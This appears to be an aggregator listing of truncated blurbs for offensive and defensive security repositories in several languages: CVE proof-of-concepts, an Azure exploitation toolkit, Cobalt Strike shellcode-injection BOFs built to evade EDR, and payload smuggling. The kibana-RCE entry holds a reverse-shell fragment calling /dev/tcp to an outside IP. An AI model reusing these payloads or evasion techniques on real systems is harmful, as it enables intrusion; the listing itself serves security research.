yaraast

yaraast Parse, analyze, and transform YARA rules with a Python AST toolkit Overview...

BlueMap

BlueMap: An Interactive Exploitation Toolkit for Azure BlueMap helps penetration testers and red teamers to perform Azure auditing, discovery & enumeration, and exploitation in interactive mode that saves complex opsec and overhead that usually exists in Azure penetration testing engagements. The...

CVE-2020-0618

CVE-2020-0618 RCE في SQL Server Reporting Services CVE-2020-0618 التحقق من الثغرة POC يمكن إرسال طلب HTTP التالي إلى الخادم لاستغلال التطبيق: root@kitploit: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: X...

es_inject

CVE-2014-3120 Elastic Search Remote Code Execution This project demonstrates the CVE-2014-3120 vulnerability/misconfiguration. It allows you to read from and append to files on the system hosting ES, provided the user running ES has access to them. Notes This does not require a web server. Save i...

CVE-2026-4020

В этом репозитории нет README...

CVE-2026-8461-EXP

CVE-2026-8461 "PixelSmash" — FFmpeg MagicYUV Heap OOB Write PoC !WARNING This repository contains a working exploit PoC for a heap corruption vulnerability. It is intended solely for authorized security research, CTF contexts, and defensive analysis. Do not use against systems you do not own or...

ExifSmugglingPoC

Exif Smuggling A Proof-of-Concept evolution of Cache Smuggling. This attack conceals an executable payload inside a JPG's Exif data. As a result, image caching such as that of a Web Browser can be used to passively download the payload. As a result, the example loader chromepoc.ps1 does not need ...

windbg_js_scripts

Scripts JavaScript pour WinDbg Installation en tant que galerie WinDbg Clonez le dépôt root@kitploit: git clone https://github.com/hugsy/windbgjsscripts Dans windbgjsscripts\config.xml, modifiez les lignes Setting Name="LocalCacheRootFolder" pour refléter le chemin local du dépôt. Dans WinDbg,...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Click Canvas to get a shell...

osint-suite-tools

Important! The author is not responsible for the use of this application. This application is the open source version with GNU license. However, the paid version gets better results through algorithms and data cross-referencing that this version does not perform. For the application to work...

spawn

SPAWN - BOF لكولت سترايك BOF لكولت سترايك يقوم بإنشاء عملية تضحية، وحقنها بشيل كود، وتنفيذ الحمولة. مبني لتجاوز خطافات EDR/UserLand عن طريق إنشاء عملية تضحية مع حماية الكود التعسفي ACG، وBlockDll، وتزييف PPID. بسبب ACG، هذا لا يدعم شيل كود الذي يعتمد على هذه الوظائف: تبديل أذونات الذاكرة بين RW/R...

stegify

stegify Overview stegify is a simple command line tool capable of fully transparent hiding any file within an image or set of images. This technique is known as LSB Least Significant Bit steganography Demonstration Carrier| Data| Result ---|---|--- | | The Result file contains the Data file hidde...

railsgoat

RailsGoat RailsGoat est une application web volontairement vulnérable construite avec Ruby on Rails. Elle démontre des vulnérabilités de sécurité du monde réel issues de l'OWASP Top 10 et sert de plateforme de formation pratique pour les développeurs et les professionnels de la sécurité. Qu'est-c...

OpenSSL-1_0_1g_CVE-2015-1790

OpenSSL 1.0.1g 7 Apr 2014 Copyright c 1998-2011 مشروع OpenSSL Copyright c 1995-1998 Eric A. Young, Tim J. Hudson جميع الحقوق محفوظة. الوصف مشروع OpenSSL هو جهد تعاوني لتطوير مجموعة أدوات قوية، تجارية، كاملة الميزات، ومفتوحة المصدر تنفّذ بروتوكولات طبقة المقابس الآمنة SSL v2/v3 وأمن طبقة النقل TLS...

yara-rules-vt

yara-rules-vt Collection de règles YARA conçues pour être utilisées via VirusTotal.com, pour plus d'informations voir https://support.virustotal.com/hc/en-us/articles/360015658497-Crowdsourced-Yara-Rules Exemple de panneau VirusTotal contenant des signatures InQuest notez que vous devez vous...

xpath

xpath Scanner d'injection XPath avancé pour les tests de sécurité autorisés. Codé par Chokri Hammedi blue0x1 · Licence MIT Aperçu xpath est un scanner d'injection XPath rapide, multi-techniques, écrit en Nim. Il se concentre sur la détection pratique, la comparaison de réponses, l'extraction...

malware-samples

malware-samples Une collection d'échantillons de logiciels malveillants et d'informations de dissection pertinentes, dont les éléments proviennent très probablement de http://blog.inquest.net ou https://twitter.com/inquest. Pensez également à consulter la partie Deep File Inspection DFI de...

CVE-2018-1273

CVE-2018-1273 Environment for CVE-2018-1273 CVE-2018-1273: RCE with Spring Data Commons https://pivotal.io/security/cve-2018-1273 Application https://github.com/spring-projects/spring-data-examples/tree/master/web/example Build root@kitploit: $ docker build -t cve-2018-1273 . Run root@kitploit: $...

async-pico-hub

Async PICO HUB إطار عمل Async PICOs هو إطار لتشغيل ملفات Beacon Object Files طويلة الأمد والقائمة على الأحداث داخل عملية Cobalt Strike Beacon. يوفر تنفيذًا غير متزامن، وتتبعًا للمهام، وإيقافًا آمنًا، وإخراجًا غير متزامن آمنًا من خلال الجمع بين Crystal Palace PICOs ونموذج تنفيذ جانب Beacon. على عك...

hush

Portable, open specification for AI agent security rules Spec · Docs · Rulesets · JSON Schema HushSpec is an open policy format for AI agent security rules. It defines what an agent may do at runtime, including filesystem access, network egress, tool usage, secret detection, and more, without...